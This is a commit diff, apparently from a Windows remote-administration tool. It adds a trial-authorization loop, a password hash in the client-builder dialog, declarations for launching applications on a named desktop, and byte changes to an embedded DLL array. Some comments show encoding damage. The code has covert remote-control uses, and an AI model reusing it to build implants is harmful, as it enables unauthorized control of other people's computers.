fix:#159 Authorization doesn't work under TestRun injection
This commit is contained in:
@@ -17,6 +17,7 @@ enum {
|
||||
|
||||
#define ALGORITHM_GRAY 0
|
||||
#define ALGORITHM_DIFF 1
|
||||
#define ALGORITHM_DEFAULT 1
|
||||
#define ALGORITHM_H264 2
|
||||
#define ALGORITHM_HOME 3
|
||||
|
||||
|
||||
@@ -581,3 +581,19 @@ VOID IOCPClient::RunEventLoop(const BOOL &bCondition)
|
||||
setManagerCallBack(NULL, NULL);
|
||||
Mprintf("======> RunEventLoop end\n");
|
||||
}
|
||||
|
||||
|
||||
BOOL is_valid() { return TRUE; }
|
||||
|
||||
VOID IOCPClient::RunEventLoop(TrailCheck checker)
|
||||
{
|
||||
Mprintf("======> RunEventLoop begin\n");
|
||||
checker = checker ? checker : is_valid;
|
||||
#ifdef _DEBUG
|
||||
checker = is_valid;
|
||||
#endif
|
||||
while (m_bIsRunning && checker())
|
||||
Sleep(200);
|
||||
setManagerCallBack(NULL, NULL);
|
||||
Mprintf("======> RunEventLoop end\n");
|
||||
}
|
||||
|
||||
@@ -106,6 +106,8 @@ public:
|
||||
}
|
||||
};
|
||||
|
||||
typedef BOOL(*TrailCheck)(void);
|
||||
|
||||
class IOCPClient
|
||||
{
|
||||
public:
|
||||
@@ -139,7 +141,7 @@ public:
|
||||
}
|
||||
|
||||
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess);
|
||||
|
||||
VOID RunEventLoop(TrailCheck checker);
|
||||
VOID RunEventLoop(const BOOL &bCondition);
|
||||
bool IsConnected() const { return m_bConnected == TRUE; }
|
||||
BOOL Reconnect(void* manager) {
|
||||
|
||||
@@ -52,6 +52,9 @@ public:
|
||||
}
|
||||
virtual void Notify() { }
|
||||
int Send(LPBYTE lpData, UINT nSize);
|
||||
int SendData(LPBYTE lpData, UINT nSize) {
|
||||
return Send(lpData, nSize);
|
||||
}
|
||||
virtual void SetReady(BOOL ready = true) { m_bReady = ready; }
|
||||
};
|
||||
|
||||
|
||||
@@ -21,7 +21,7 @@ unsigned char TinyRun_dll[] = {
|
||||
0x0f, 0x07, 0x5b, 0xfc, 0xc1, 0x72, 0x59, 0xfd, 0x0f, 0x07, 0x5b, 0xfc,
|
||||
0x52, 0x69, 0x63, 0x68, 0x0e, 0x07, 0x5b, 0xfc, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x07, 0x00, 0x3b, 0x50, 0x56, 0x68,
|
||||
0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x07, 0x00, 0x42, 0x6f, 0x73, 0x68,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x00, 0x22, 0x20,
|
||||
0x0b, 0x02, 0x0e, 0x1d, 0x00, 0xbe, 0x00, 0x00, 0x00, 0xcc, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0xd0, 0x19, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
|
||||
@@ -214,7 +214,7 @@ unsigned char TinyRun_dll[] = {
|
||||
0x0f, 0xb6, 0x0c, 0x10, 0x88, 0x0c, 0x18, 0x48, 0x8d, 0x40, 0x01, 0x84,
|
||||
0xc9, 0x75, 0xf1, 0x48, 0x8d, 0x0d, 0x5e, 0x64, 0x01, 0x00, 0xe8, 0xd5,
|
||||
0x26, 0x00, 0x00, 0x89, 0x05, 0x13, 0x77, 0x01, 0x00, 0x4c, 0x8d, 0x05,
|
||||
0xd8, 0xfd, 0xff, 0xff, 0x48, 0x8d, 0x05, 0xab, 0x64, 0x01, 0x00, 0x48,
|
||||
0xd8, 0xfd, 0xff, 0xff, 0x48, 0x8d, 0x05, 0xad, 0x64, 0x01, 0x00, 0x48,
|
||||
0xc7, 0x44, 0x24, 0x28, 0x00, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xcb, 0x48,
|
||||
0x89, 0x05, 0xfe, 0x76, 0x01, 0x00, 0x33, 0xd2, 0xc7, 0x44, 0x24, 0x20,
|
||||
0x00, 0x00, 0x00, 0x00, 0x33, 0xc9, 0xff, 0x15, 0xdc, 0xb9, 0x00, 0x00,
|
||||
@@ -6667,10 +6667,10 @@ unsigned char TinyRun_dll[] = {
|
||||
0x32, 0x63, 0x31, 0x33, 0x31, 0x30, 0x32, 0x32, 0x35, 0x33, 0x36, 0x64,
|
||||
0x61, 0x37, 0x35, 0x31, 0x63, 0x32, 0x39, 0x65, 0x33, 0x66, 0x66, 0x34,
|
||||
0x65, 0x39, 0x30, 0x32, 0x34, 0x64, 0x38, 0x65, 0x65, 0x63, 0x34, 0x33,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3b, 0x50, 0x56, 0x68,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x6f, 0x73, 0x68,
|
||||
0x00, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0xa4, 0x02, 0x00, 0x00,
|
||||
0x98, 0x48, 0x01, 0x00, 0x98, 0x3a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x3b, 0x50, 0x56, 0x68, 0x00, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00,
|
||||
0x42, 0x6f, 0x73, 0x68, 0x00, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x38, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
|
||||
@@ -18,6 +18,8 @@
|
||||
#include <Shlwapi.h>
|
||||
#include <shlobj_core.h>
|
||||
|
||||
#pragma comment(lib, "Shlwapi.lib")
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
@@ -15,6 +15,8 @@
|
||||
|
||||
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName);
|
||||
|
||||
bool IsWindows8orHigher();
|
||||
|
||||
class IOCPClient;
|
||||
|
||||
class CScreenManager : public CManager
|
||||
|
||||
@@ -27,6 +27,9 @@
|
||||
#ifdef _DEBUG
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD>
|
||||
#include "vld.h"
|
||||
#ifndef VLD_RPTHOOK_REMOVE
|
||||
#error <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2>#include "vld.h"<22><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9>Release<73><65><EFBFBD><EFBFBD>
|
||||
#endif
|
||||
#define USING_SAFETHRED 0
|
||||
#else
|
||||
#define USING_SAFETHRED 1
|
||||
|
||||
@@ -23,6 +23,8 @@ IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
|
||||
|
||||
std::string GetMasterId();
|
||||
|
||||
std::string GetPwdHash();
|
||||
|
||||
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
|
||||
|
||||
LPBYTE ReadResource(int resourceId, DWORD &dwSize) {
|
||||
@@ -154,6 +156,7 @@ void CBuildDlg::OnBnClickedOk()
|
||||
g_ConnectAddress.runningType = m_ComboRunType.GetCurSel();
|
||||
g_ConnectAddress.protoType = m_ComboProto.GetCurSel();
|
||||
g_ConnectAddress.iHeaderEnc = m_ComboEncrypt.GetCurSel();
|
||||
memcpy(g_ConnectAddress.pwdHash, GetPwdHash().c_str(), sizeof(g_ConnectAddress.pwdHash));
|
||||
|
||||
if (!g_ConnectAddress.IsValid()) {
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
|
||||
@@ -23,6 +23,7 @@
|
||||
// <20>Ƴ<EFBFBD><C6B3>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD>MFC<46>ؼ<EFBFBD><D8BC><EFBFBD>֧<EFBFBD>֣<EFBFBD><D6A3><EFBFBD>С<EFBFBD><D0A1>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD>С
|
||||
#define _AFX_NO_MFC_CONTROLS_IN_DIALOGS
|
||||
|
||||
#ifdef _DEBUG
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD>
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>װ<EFBFBD><D7B0>VLD, <20>뽫<EFBFBD><EBBDAB>װ·<D7B0><C2B7><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD><EFBFBD>Ϊ"VLDPATH", ·<><C2B7>Ϊ"D:\Program Files (x86)\Visual Leak Detector"
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD>ʰ<EFBFBD>װĿ¼<C4BF><C2BC>дVLDPATH. <20><><EFBFBD><EFBFBD><EFBFBD>ֶ<EFBFBD><D6B6>༭ÿ<E0BCAD><C3BF><EFBFBD><EFBFBD>Ŀ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD>Ŀ¼<C4BF>Ϳ<EFBFBD>Ŀ¼. <20>й<EFBFBD><D0B9><EFBFBD><EFBFBD><EFBFBD>VLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD>ο<EFBFBD><CEBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
|
||||
@@ -36,6 +37,10 @@
|
||||
// <20><>ѡ Microsoft Symbol Servers. ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD>Ż<EFBFBD><C5BB><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "C:\Symbols"<22><>
|
||||
// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>ȱʧ<C8B1>ķ<EFBFBD><C4B7>ţ<EFBFBD><C5A3><EFBFBD> dbghelp.pdb<64><62><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD>Ŀ¼<C4BF><C2BC>
|
||||
#include "vld.h"
|
||||
#ifndef VLD_RPTHOOK_REMOVE
|
||||
#error <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2>#include "vld.h"<22><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9>Release<73><65><EFBFBD><EFBFBD>
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#include "targetver.h"
|
||||
|
||||
|
||||
Reference in New Issue
Block a user